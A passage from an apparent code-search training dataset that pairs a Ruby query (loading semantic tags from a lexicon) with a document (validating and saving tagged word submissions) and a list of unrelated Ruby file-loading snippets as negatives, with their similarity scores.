"def read_directories(dir = \"\")\n base = site.in_source_dir(dir)\n\n return unless File.directory?(base)\n\n dot_dirs = []\n dot_pages = []\n dot_static_files = []\n\n dot = Dir.chdir(base) { filter_entries(Dir.entries(\".\"), base) }\n dot.each do |entry|\n file_path = @site.in_source_dir(base, entry)\n if File.directory?(file_path)\n dot_dirs << entry\n elsif Utils.has_yaml_header?(file_path)\n dot_pages << entry\n else\n dot_static_files << entry\n end\n end\n\n retrieve_posts(dir)\n retrieve_dirs(base, dir, dot_dirs)\n retrieve_pages(dir, dot_pages)\n retrieve_static_files(dir, dot_static_files)\n end",
"def breakdown_by_file\n @file_breakdown ||= begin\n breakdown = Hash.new { |h,k| h[k] = Array.new }\n cache.each do |filename, (language, _)|\n breakdown[language] << filename.dup.force_encoding(\"UTF-8\").scrub\n end\n breakdown\n end\n end",
"def list(namespace)\n list = Dir.entries(make_path(namespace)) - %w{. ..}\n list.map! {|item| File.split(item)[1].to_sym}\n list.to_set\n end",
"def load_commands\n glob = File.join(Imp.root, '**', '*.rb')\n Dir[glob].sort.each { |f| load f }\n end",
"def list\n Dir.glob(\"#{App.config.resource_directory}/*.yaml\").each do |res|\n puts File.basename(res, '.yaml')\n end\n end",
"def read_file\n @codes = [@path]\n File.open(@path).each { |l|\n @codes << l\n }\n end",
"def mappings_from_dirs\n mappings_paths.map { |path| Dir[\"#{path}/*.yml\"] }.\n flatten.sort.\n each_with_object({}) do |file, hash|\n name = File.basename file, '.yml'\n hash[name] = fix_mapping(name, load_yaml(file))\n end\n end",
"def directory_contents(directory)\n return Dir.glob(File.join(directory, '*'))\n end",
"def lexers\n begin\n lexer_file = File.expand_path('../../../lexers', __FILE__)\n raw = File.open(lexer_file, \"r\").read\n Marshal.load(raw)\n rescue Errno::ENOENT\n raise MentosError, \"Error loading lexer file. Was it created and vendored?\"\n end\n end",
"def get_layouts(path)\n Dir.glob(File.join(path, \"*.yml\")).map { |file| File.basename(file).gsub(/\\..+$/, \"\") }.sort\n end",
"def all_entries\n entries = []\n Dir.chdir(@input_dir) do\n entries = Dir.glob(File.join('**', '**')) - %w[mimetype]\n end\n\n entries\n end",
"def read patterns\n Dir[*patterns].uniq.map do |f|\n filename = File.join(Dir.pwd, f)\n\n @files ||= []; @files << filename\n STDERR.puts filename\n\n case File.extname(filename)\n when '.erb'\n Dir.chdir File.dirname(filename) do\n ERB.new(File.read(File.basename(filename))).result(binding)\n end\n else\n File.read filename\n end\n end.join(\"\\n\")\nend",
"def load_genre_list()\n File.open('./genre_list')\nend",
"def require_all dir\n `ls #{dir}`.each_line do |file|\n require \"#{dir}/#{file.strip}\"\n end\nend",
"def get_nondir_pages( directory )\n Dir[ File.join( directory, \"*/index.src\" ) ]\n end",
"def initialize\n self.word_list = []\n WORD_FILES.each do |word_file|\n contents = File.read(File.dirname(__FILE__)+word_file)\n self.word_list = word_list + contents.split(/\\n/)\n end\n end",
"def read_files\n Dir['*', '*/*'].group_by { |f| f.ext || :_dir }.to_symkey\n end",
"def enumerate_scripts\n Dir.glob(\"**/*\").\n reject { |f| File.directory?(f) }.\n select { |f| File.extname(f) == \".rb\" }.\n map do |filename|\n stat = File.stat(filename)\n\n OpenStruct.new(\n id: SecureRandom.uuid,\n path: filename,\n absolute_path: File.expand_path(filename),\n virtual_url: \"#{ROOT_URL}/#{filename}\",\n size: stat.size,\n last_modified_time: stat.mtime\n )\n end\n end",
"def load_directory name\n files_in_directory(name, '**' / '*.rb').each do |file|\n require file\n end\n end",
"def load_font_bitmaps\n for page in @pages\n @page_bitmaps[page.id] = RPG::Cache.picture(page.file)\n end\n end",
"def files\n paths = %W{html/#{slug}.html html/*_fragment.html images/**/* config/*\n html/stylesheets/custom.css}\n Dir[*paths].map do |path|\n BookFile.new(path) unless File.directory?(path)\n end.compact\n end",
"def enumerate_files search_path\n Enumerator.new do |e|\n Dir\n .glob(search_path)\n .each do |filename|\n if File.file?(filename)\n $stderr.puts \"Reading #{filename}\" if $verbose\n File.open filename do |file|\n e.yield file.read()\n end\n end\n end\n end\nend",
"def ls(pattern='**/*', _opts={})\n Enumerator.new do |y|\n @files.each_key do |key|\n y << key if File.fnmatch?(pattern, key, File::FNM_PATHNAME)\n end\n end\n end",
"def names_list\n @names_list ||= Dir[\"#{ANALYSES_FOLDER}/*\"].collect{|d| File.basename(d)}\n end",
"def ui_localization_files\n loc_files = Dir[File.join(RAILS_ROOT, 'lang/ui/', '*.{yml,yaml}')]\n unless @@localization_sources.empty?\n @@localization_sources.each do |path|\n loc_files += Dir[File.join(path, '*.{yml,yaml}')]\n end\n end\n loc_files\n end",
"def load_dir!(folder)\n # load meta directory.\n if File.directory?(folder)\n extra = []\n extra_file = File.join(folder, '.rubyextra')\n if File.exist?(extra_file)\n extra = File.read(extra_file).split(\"\\n\")\n extra = extra.collect{ |pattern| pattern.strip }\n extra = extra.reject { |pattern| pattern.empty? }\n extra = extra.collect{ |pattern| Dir[File.join(folder, pattern)] }.flatten\n end\n files = Dir[File.join(folder, '*')]\n files.each do |file|\n next if File.directory?(file)\n next import!(file) if extra.include?(file)\n next import!(file) if %w{.yaml .yml}.include?(File.extname(file))\n next import!(file) if dotruby.key?(File.basename(file))\n end\n end\n end",
"def load_manifests(path)\n path = Pathname.new(path).freeze\n files = if File.file?(path)\n [path]\n else\n Pathname.glob(path.join('*.{yml,yaml,yml.erb,yaml.erb}')).sort_by(&:to_s)\n end\n resources = files.flat_map do |file|\n Pharos::YamlFile.new(file).load_stream do |doc|\n K8s::Resource.new(doc)\n end\n end.select do |r|\n # Take in only resources that are valid kube resources\n r.kind && r.apiVersion\n end\n\n resources\n end",
"def lookup_map\n @lookup_map ||= begin\n gpath = directory.join(\"**/*.#{extension_name}\")\n\n Pathname.glob(gpath).each_with_object({}) do |path, map|\n map[ key_from_path(path) ] = path\n end\n end\n end",
"def retrieve_icon_theme_names(theme_location)\n pn_location = Pathname.new theme_location\n\n theme_dirs = pn_location.children.select { |d| d.directory? } # themes must be directory\n\n icon_themes = theme_dirs.select do |theme_dir|\n begin\n theme_dir unless theme_dir.children.any? { |c| c.basename.fnmatch \"cursors\" } # if there is a 'cursors' directory\n rescue\n puts \"Errors occurred while processing #{theme_dir}\"\n end\n end\n icon_themes.map! { |icon_theme_pn| icon_theme_pn.basename.to_s }\nend",
"def load_objects(dir_name, kind, klass)\n files(dir_name).map do |filename|\n # Read and parse data\n meta, content = *parse_file(filename, kind)\n\n # Get attributes\n attributes = {\n :filename => filename,\n :extension => File.extname(filename)[1..-1],\n :file => Nanoc3::Extra::FileProxy.new(filename)\n }.merge(meta)\n\n # Get actual identifier\n identifier = filename_to_identifier(filename, dir_name)\n\n # Get mtime\n mtime = File.stat(filename).mtime\n\n # Build item\n klass.new(content, attributes, identifier, mtime)\n end\n end",
"def names\n Dir.entries(sub_authorities_path).map { |f| File.basename(f, \".yml\") if f.match(/yml$/) }.compact\n end",
"def load(*files)\n files.map { |f|\n evaluate(File.read(f).gsub(/\\A#!.*$/, ''), f, 1)\n }.last\n end",
"def load_library(path)\n #set a hash with get_meaning, get_emoticon as keys, empty hash for value\n emoticons = {\"get_meaning\" => {}, \"get_emoticon\" => {}}\n #load the YAML file. It has meaning(angel, angry,..) as key and the symbol as value(describe)\n YAML.load_file(path).each do |meaning, describe|\n #set eng, jan from describe, so eng would be the first value, jan the second\n eng, jan = describe\n emoticons[\"get_meaning\"][jan] = meaning\n emoticons[\"get_emoticon\"][eng] = jan\n\n end\n emoticons\nend",
"def tag_manifested_files\n tagmanifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n path\n end\n }\n (acc + files).uniq\n end\n end",
"def load_male_names(src)\n parse_file(src, \"male\")\n end",
"def load_commands\n Dir[\"#{Scarlet.root}/commands/**/*.rb\"].each {|path| load path and Command.parse_help path}\n end",
"def load_resources\n resource_path = File.join(File.dirname(__FILE__), \"resources\")\n Similar.load_all_ruby_files_from_path(resource_path)\n end",
"def load_library(file_path)\n emoticons_hash = YAML.load_file(file_path)\n emoticons_hash.each_with_object({}){|(outer_key,outer_value), new_hash|\n new_hash[outer_key] = {english: outer_value[0], japanese: outer_value[1]}\n }\nend",
"def read_directories(dir = T.unsafe(nil)); end",
"def import_files(dir)\n Dir.glob(dir.to_s).map {|file| import_file(file)}\nend",
"def load_templete\n @templete = Admin::Keystore.value_for('templete')\n @templete ||= 'default'\n @base_dir = \"#{Rails.root}/public/templetes/#{@templete}/\"\n Dir.chdir(@base_dir)\n @temp_list = Dir.glob(\"*.html\").sort\n\n tempfiles = File.join(Rails.root, \"public\", \"ckeditor_assets\", \"**\", \"*.{jpg, png, gif, jpeg}\")\n @image_list = Dir.glob([tempfiles]).map{|i| i.sub(/^.*\\/public/, '') }.sort\n @image_list = @image_list.select{|i| i =~ /thumb_/i}\n end",
"def all_files\n @all_files ||= load_files\n end",
"def load(path); end",
"def load(*globs)\n skips = globs.grep(/^-/)\n (globs - skips).each do |glob|\n glob += '.rb' if glob =~ /\\*$/\n Dir.glob(glob).sort.each do |path|\n next unless File.file? path\n next if skips.find {|pat| path =~ /#{pat[1..-1]}$/}\n instance_eval(File.read(path), path)\n end\n end\n end",
"def breadcrumb_files\n Dir[*Gretel.breadcrumb_paths]\n end"
] |
[
"0.6495603",
"0.5862242",
"0.58618087",
"0.5815387",
"0.5785531",
"0.5778278",
"0.57340676",
"0.56956303",
"0.5683282",
"0.5580797",
"0.5575757",
"0.552552",
"0.5474527",
"0.547444",
"0.5452975",
"0.5448757",
"0.5446009",
"0.5418177",
"0.5397736",
"0.53865564",
"0.53850037",
"0.53731954",
"0.53670454",
"0.5354884",
"0.5354884",
"0.53545177",
"0.5352869",
"0.5336299",
"0.53337204",
"0.5327516",
"0.5325789",
"0.53231597",
"0.53199375",
"0.5317642",
"0.53141266",
"0.5305498",
"0.5300052",
"0.5279577",
"0.52758306",
"0.52758306",
"0.52756894",
"0.5275064",
"0.5263146",
"0.52470934",
"0.52421415",
"0.52421415",
"0.5214905",
"0.5194322",
"0.5182495",
"0.51822823",
"0.51783305",
"0.51766115",
"0.5166721",
"0.51600915",
"0.5159225",
"0.5142294",
"0.51400584",
"0.5138485",
"0.5131132",
"0.5130445",
"0.51243365",
"0.51097614",
"0.5099189",
"0.50941277",
"0.5088153",
"0.50737",
"0.50678295",
"0.50673914",
"0.5061428",
"0.50604826",
"0.50570995",
"0.5054178",
"0.5052252",
"0.50505453",
"0.5047517",
"0.5044121",
"0.50383174",
"0.50380164",
"0.5025904",
"0.502261",
"0.50219876",
"0.50172913",
"0.5013164",
"0.50112915",
"0.5009648",
"0.50090456",
"0.5005577",
"0.5000505",
"0.49709612",
"0.49681404",
"0.49670973",
"0.49628407",
"0.49609205",
"0.4959268",
"0.49564382",
"0.49547818",
"0.4944954",
"0.49439973",
"0.49418342",
"0.49413502"
] |
0.7640452
|
0
|
Using a lexicon, return a hash to be written into the page code
|
def load_tags(language, word)
return [] unless @lexicons[language]
selection = []
# Find tags for all senses
tags = []
senses = @lexicons[language].get_senses(word)
fail "No senses found for word: '#{word}' in lexicon for '#{language}'" unless senses
senses.each{ |s| tags += @lexicons[language].get(word, s) }
# build selection list from tags
tags.each do |t|
t = t.tags[0] if t.is_a?(USASTools::SemTag::CompoundSemTag)
selection << {prefix: t.stack.join('_'),
name: t.name,
positive: t.affinity >= 0
}
end
return selection.uniq
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n code.hash\n end",
"def hash\n code.hash\n end",
"def hash_for(expression)\n\n end",
"def token_hash=(_arg0); end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def hash(sexp, level)\n \"$hash(#{sexp.map { |p| process p, :expression }.join ', '})\"\n end",
"def hash (site)\n\t#hash_in_hash = Array.new\n\t#hash_in_hash = {\"URL\" => \"MD5_Digest\"}\n\topen (site) do |s|\n\t\tresponse = s.read\n\t\tdigest = Digest::MD5.hexdigest(response)\n\t\t#string1 = site + \" - \" + digest + \"\\n\"\n\t\t#file2 = File.open(\"/Users/ismeet/code/ruby/js_scan/hashes\", \"a\")\n\t\t#file2.write(string1)\n\t\treturn site, digest #Return site and digest. The hash has to be created in the outside function where we area calling the hash function.\n\tend\nend",
"def read_hash(lh)\n # lh => location hash\n # lh = decodeURI(location.hash);\n p = false\n hi = false\n h = []\n s = {}\n\n # Version 2 of Emphasis (I am ignoring v1 here because I have not used it on the client side anyways)\n # #h[tbsaoa,Sstaoo,2,4],p[FWaadw] -> p = \"FWaadw\", h = [ \"tbsaoa\", \"Sstaoo\" ], s = { \"Sstaoo\" : [ 2, 4 ] }\n\n # findp = lh.match(/p\\[([^[\\]]*)\\]/)\n # findh = lh.match(/h\\[([^[\\]]*)\\]/)\n # p = (findp && findp.length>0) ? findp[1] : false;\n # hi = (findh && findh.length>0) ? findh[1] : false;\n\n # SEB: strange. it looks like that there was an error in the javascript regexp here but it still works in js!!!\n if lh =~ /p\\[([^\\]]*)\\]/\n p = $1\n end\n if lh =~ /h\\[([^\\]]*)\\]/\n hi = $1\n end\n # puts p\n # puts hi\n\n # undef = nil\n # hi = nil\n\n highlightings = []\n\n if (hi)\n hi = hi.scan(/[a-zA-Z]+(?:,[0-9]+)*/)\n\n hi.each do |hi_element|\n a = hi_element.split(',');\n key = a[0];\n # pos = this.find_key(key)['index']\n\n highlightings.push(find_key(key))\n\n # puts key\n # paragraph_for_key = find_key(key)\n # puts paragraph_for_key['index']\n # puts paragraph_for_key['elm'].to_html\n\n # if (pos != false) {\n # h.push(parseInt(pos)+1);\n # var b = a;\n # b.shift();\n # if (b.length>0) {\n # for (var j=1; j<b.length; j++) {\n # b[j] = parseInt(b[j]);\n # }\n # }\n # s[h[h.length - 1]] = b;\n # }\n # break\n end\n end\n\n # @p = p;\n # @h = h;\n # @s = s;\n return highlightings\n end",
"def hash\n title.hash\n end",
"def hash(*) end",
"def hashed_input\n\t\tmd5_hex = Digest::MD5.hexdigest(@term)\n\t\tmd5_hex.scan(/../).map { |s| s.to_i(16) }\n\tend",
"def hash\n digest = Digest::MD5.new\n digest << title.to_s\n digest << content.join('').to_s\n digest.to_s\n end",
"def return_hash \n\tkt = KeywordTagger.new\n\thash = kt.get_hash_regex_tags(\"public/conversion.txt\") \nend",
"def hash!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n type = HASH\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 157:8: '#'\n match( 0x23 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hashInstructions(instruction)\n\tvalue, key = instruction.match(/(.+) \\-\\> ([a-z]{1,2})/).captures\n\t$wires[key.to_s] = value.to_s\nend",
"def hash(key); end",
"def hash\n [rel, href].hash\n end",
"def hash_code; end",
"def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"def hash\n\t\t(language + type + klass + thing).hash\n\tend",
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def initialize_lexicon\n #Outer reference, for outermost hash\n 'a'.upto 'z' do |char|\n $lexicon[char] = Hash.new\n end\n puts \"Lexicon initialized\"\nend",
"def populate_lexicon (file_name)\n begin\n #Opens given file for lexicon\n file = File.open(file_name, 'r')\n #Reads until the end of the file\n until file.eof?\n #For each line in the file compile into lexicon\n file.each_line do |line|\n line.chomp!\n #Gets first character of word\n first_char = line[0]\n #Processes word\n if first_char != ''\n # Get the length of the word\n len = line.length\n if $lexicon[first_char].has_key? len\n $lexicon[first_char][len][line] = 0\n else\n $lexicon[first_char][len] = Hash.new\n $lexicon[first_char][len][line] = 0\n end\n end\n end\n end\n file.close\n puts \"Lexicon populated\"\n rescue\n puts \"Error in populating lexicon\"\n exit 4\n end\nend",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash(pathname)\n ext = pathname.extname\n ext = ('' == ext || nil == ext) ? :none : ext.to_sym\n digest = Digest::MD5.hexdigest(File.read(pathname.to_s))\n @scanned[ext] ||= {}\n @scanned[ext][digest] ||= []\n @scanned[ext][digest] << pathname\n end",
"def hash\n @string.hash\n end",
"def hash\n @string.hash\n end",
"def hash\n @string.hash\n end",
"def hash\n [self_uri, alternate_links, accent1, accent2, accent3, accent4, accent5, accent6, dark1, dark2, followed_hyperlink, hyperlink, light1, light2].hash\n end",
"def entry2hash(entry)\n hash = Hash.new('')\n entry.each_line do |line|\n tag = tag_get(line)\n next if tag == 'XX'\n tag = 'R' if tag =~ /^R./\t# Reference lines\n hash[tag] += line\n end\n return hash\n end",
"def default_hash_function(plain_token)\n ::Digest::SHA256.hexdigest plain_token\n end",
"def extract_code(data)\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def hash(tx)\n Digest::SHA256.hexdigest(Digest::SHA256.hexdigest(tx))\nend",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def get_hash(input)\n return $hasher.reset.update(input).to_s\nend",
"def hash\n return unless doc_value?\n result['doc']['hash']\n end",
"def read_hash_digraph\n if next?('>')\n return @token_gen.make_keyword('}')\n end\n if next?(':')\n if next?('%')\n if next?(':')\n return @token_gen.make_keyword(K::HASHHASH)\n end\n unreadc('%')\n end\n return @token_gen.make_keyword('#')\n end\n nil\n end",
"def hash\n expr.hash\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def hash\n h = name.downcase.hash\n h\n end",
"def hashForPhrase(phrase)\n\t\t# Suppose we have n+1 dictionaries in our nomenclature.\n\t\t# Let L_i be the length of the nth dictionary for 0 <= i <= n.\n\t\t# Let W_i be the ith word in the phrase\n\t\t# Let K_i be the index of W_i in the ith dictionary, zero-based (i.e. 0 <= K_i < L_i)\n\t\t# Our hash is:\n\t\t# H = K0 + L0 K1 + L0 L1 K2 + ... + L0 L1 ... L_(n-1) K_n\n\t\t#\n\t\t# Represent this integer in hexadecimal to get a hash string.\n\n\t\tweight = 1\n\t\thash = 0\n\n\t\tif phrase.is_a?(String) then\n\t\t\tif isHyphenated?(phrase) then\n\t\t\t\tphrase = dehyphenatePhrase(phrase)\n\t\t\telse\n\t\t\t\tphrase = phrase.gsub(/\\s+/m, ' ').strip.split(' ')\n\t\t\tend\n\t\tend\n\n\t\t# If the phrase doesn't have the same number of words as our nomenclature requires, we can't convert\n\t\tif phrase.nil? || phrase.length != @dictionaries.length then\n\t\t\treturn nil\n\t\tend\n\n\t\tphrase.length.times do |i|\n\t\t\tword = phrase[i]\n\t\t\tdict = @dictionaries[i]\n\t\t\tlineNumber = dict.index(word)\n\t\t\tif lineNumber.nil? then\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\thash += lineNumber*weight\n\t\t\tweight *= dict.length\n\t\tend\n\n\t\t# Render the hash as a 7-digit hex string (suitable for git)\n\t\t\"%07x\" % hash\n\tend",
"def hash_file(filename)\n file = File.read(filename)\n tlsh_hash(file.bytes)\n end",
"def encoding prog_h\n puts \"encoding...\"\n hash={}\n prog_h.each{|addr,instr| hash[addr]=encode(instr)}\n return hash\n end",
"def hash=(_arg0); end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash()\n #This is a stub, used for indexing\nend",
"def hash\n swap\n scatter\n completed_string\n end",
"def hash\n @content.hash\n end",
"def output_hash; end",
"def hash_code(str)\n str.each_char.reduce(0) do |result, char|\n [((result << 5) - result) + char.ord].pack('L').unpack('l').first\n end\n end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def hash\n [fully_qualified_rel,\n raw_href,\n templated?].hash\n end",
"def hash_token(token)\n Digest::SHA256.hexdigest(token)\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash\n [prefix, postfix, snippet_count, fragment_size, max_analyzed_chars, merge_contiguous, use_phrase_highlighter, fields].hash\n end",
"def hash\n [name, url].hash\n end",
"def hash_word(word)\n word.split('').sort\nend",
"def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end",
"def hash\n [code, scope].hash\n end",
"def hash\n guid.hash\n end",
"def hash_char_positions\n hash_positions= []\n @lines.each_with_index do |line, line_index|\n line.enum_for(:scan, /#/).each do\n hash_positions << [line_index, Regexp.last_match.begin(0)]\n end\n end\n if hash_positions.count != 2\n raise ArgumentError, \"Incorrect hash symbol number!!! except exactly two hash symbols.\"\n end\n hash_positions\n end",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hashed_content\n @hashed_content ||= valid? ? Digest::SHA1.hexdigest(content) : nil \n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def hash\n [hint,name,ordinal,module_name].hash\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n path.hash\n end",
"def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"def passive\t\n\thash=Digest::MD5.hexdigest(@tagpattern)\n\t[{:name=>\"tag pattern hash\",:string=>hash}]\nend",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash\n fullname.hash\n end",
"def hash\n [fully_qualified_rel, raw_href, templated?].hash\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def hash\n @hash.hash\n end",
"def hash\n [oct, pc].hash\n end",
"def generate_hmac(content)\n content_json = JSON.parse(content, symbolize_names: true)\n facebook_page_id = content_json[:entry][0][:id]\n OpenSSL::HMAC.hexdigest('sha1'.freeze,\n app_secret_for(facebook_page_id),\n content)\n end"
] |
[
"0.6498564",
"0.6498564",
"0.6498564",
"0.6498564",
"0.6498564",
"0.6498564",
"0.6498564",
"0.64798135",
"0.63833606",
"0.6284001",
"0.62705046",
"0.6209027",
"0.6165168",
"0.61591387",
"0.6144806",
"0.61310875",
"0.60615295",
"0.6030117",
"0.6017065",
"0.60166466",
"0.5996099",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5945048",
"0.5894812",
"0.5894561",
"0.58937633",
"0.5869708",
"0.58414805",
"0.5829145",
"0.580514",
"0.57993925",
"0.57492703",
"0.5741163",
"0.57151425",
"0.56825465",
"0.56825465",
"0.56825465",
"0.56813794",
"0.5678412",
"0.56778497",
"0.5676632",
"0.5659894",
"0.56597996",
"0.56597996",
"0.56597996",
"0.56528234",
"0.5645156",
"0.56303054",
"0.56291544",
"0.56253964",
"0.5589866",
"0.55878323",
"0.5565964",
"0.55365664",
"0.5532001",
"0.552942",
"0.55277956",
"0.55277956",
"0.55277956",
"0.5506481",
"0.55054736",
"0.54961777",
"0.549352",
"0.548645",
"0.5483726",
"0.54805636",
"0.5478108",
"0.5476904",
"0.5473215",
"0.54726684",
"0.5467964",
"0.54642063",
"0.54590845",
"0.5442029",
"0.5437199",
"0.54314023",
"0.54288095",
"0.5421886",
"0.5415093",
"0.5414405",
"0.5413806",
"0.5406397",
"0.54055065",
"0.54014254",
"0.5396378",
"0.5392825",
"0.53755635",
"0.5372857",
"0.5345184",
"0.53449476",
"0.53420526",
"0.5341841",
"0.53313905"
] |
0.0
|
-1
|
Parse input and save to disk (or return an error)
|
def handle_input(word, source, tags_field, time_field, worker=nil, lang=nil)
return nil, 'Invalid word returned!' if !check_string(word)
tags = nil
begin
tags = parse_tag_JSON(tags_field)
rescue StandardError => e
return nil, "Error parsing JSON: #{e}"
end
return nil, 'Invalid JSON submitted' if !tags
return nil, 'You must select at least one tag' if tags[:tags].length == 0
time = time_field.to_f / 60.0 / 1000.0 # convert to minutes
# return nil, "Invalid timeout field" if time > MAX_TIMEOUT || time < 0
# ---- validation done
# Now augment tag information with time, date, etc.
tags[:time] = Time.now
tags[:source] = source
tags[:word] = word.force_encoding("UTF-8")
tags[:lang] = lang if @valid_languages.include?(lang)
# Now generate unique IDs and write to disk
# Generate a filename by hashing the word
word_filename = Digest::MD5.hexdigest(word)
word_filepath = File.join(OUTPUT_DIR, word_filename)
# Code to identify this transaction
uuid = SecureRandom.uuid()
receipt_code = "#{word_filename}#{uuid}"
# Write the submission into the existing list
submissions = YAML::Store.new(word_filepath)
submissions.transaction do submissions[uuid] = tags end
# Lastly, maintain worker word list if worker ID is provided
set_worker_word(worker, word) if(worker && worker.length > 0)
# Return the code
return receipt_code, nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_input (input_file)\nend",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def parse_output_data(filepath)\n # NOPE!\nend",
"def save_game\n save_data = YAML::dump(self)\n puts \"Please enter a name for your save game:\"\n prompt\n @filename = gets.chomp\n File.open(\"./saved/#{@filename}\", \"w\") { |file| file.write(save_data)}\n puts \"Saved\"\n get_input\n end",
"def save\n save_to_file(@output_file, @contents)\n end",
"def parse\n logger.debug \"Reading stoage file from: #{self.file.path}\"\n if self.status != 'finished'\n last_parsed_line = self.last_parsed_line\n # make_options\n begin\n # Match the proper parser and build options\n case self.file_type\n when \"1\"\n @parser = Wms::Input::Filetype1\n else\n raise \"Undefined storage type #{file_type}\"\n end\n # when \"wifilocation\"\n # @parser = Wms::Input::AndroidWifiLocation\n # when \"sensor\"\n # @parser = Wms::Input::AndroidSensor\n # when \"audio\"\n # raise \"Not Supported yet storage type #{file_type}\"\n # else\n # raise \"Undefined storage type #{file_type}\"\n # end\n\n @processor = @parser.new\n options = make_options\n @processor.register(options=options)\n\n @processor.run do |data|\n begin\n create_event data\n \n rescue Exception => e\n logger.error \"ERROR #{self.class.name}: #{e} for #{data}\"\n end\n last_parsed_line += 1\n end\n\n \n self.last_parsed_line = last_parsed_line\n self.status = \"finished\"\n self.save\n \n rescue Exception => e\n logger.error \"ERROR: [#{e}]\"\n self.last_parsed_line = last_parsed_line\n self.status = \"error\"\n self.save\n end # end begin\n \n end #end if self.status != 'finished'\n\n\n \n \n end",
"def save!; File.write @path, @data end",
"def write_to_disk\n if @params and errors.empty?\n unless DiskWriter.save_textfile(@old_location, self.location, self.contents)\n errors.add(\"Write to disk failed:\", \"check for invalid characters in '#{self.location}'\")\n throw(:abort)\n end\n end\n end",
"def save\n all_files.each{ |file| parse_and_save(file) }\n end",
"def process\n input_text = read_input_file\n s_exp = parse_to_s_expression(input_text)\n write_s_exp_file(s_exp)\n dot_data = get_method_calls(s_exp)\n write_dot_file(dot_data)\n end",
"def save\n pathname.open('w') { |file| file.write(data) }\n end",
"def save_game\n\t\tputs \"To save game please provide a game name. Please only use letters, numbers and underscores\"\n\t\tinput = gets.chomp.downcase\n\t\tvalid = input.index(/[^\\d,\\w,_]/)\n\t\tuntil !valid\n\t\t\tputs \"Please enter a valid name\"\n\t\t\tinput = gets.chomp.downcase\t\n\t\t\tvalid = input.index(/[^\\d+,\\w+, _+]/)\t\t\t\n\t\tend\n\t\tputs \"Saving #{input}\"\n\t\tyaml = YAML::dump(self)\n\t\tif !Dir.exists?(\"saved\")\n\t\t\tDir.mkdir(\"saved\") \n\t\tend\n\t\tsave_file = File.open(\"saved/#{input}.yaml\", 'w')\n\t\tsave_file.write(yaml)\n\t\tsave_file.close\n\t\tputs \"Game Saved!\"\n\t\texit\n\tend",
"def save\n return false unless Restaurant.file_usable? #? better way? need to do given next line will return false if need be?..or will it return an error\n File.open(@@filepath,\"a\") do |file|\n file.puts \"#{[@name, @cuisine, @price].join(\"\\t\")}\\n\" #? better way?\n end\n return true\n # if ...\n # return true\n # else\n # return false\n # end\n end",
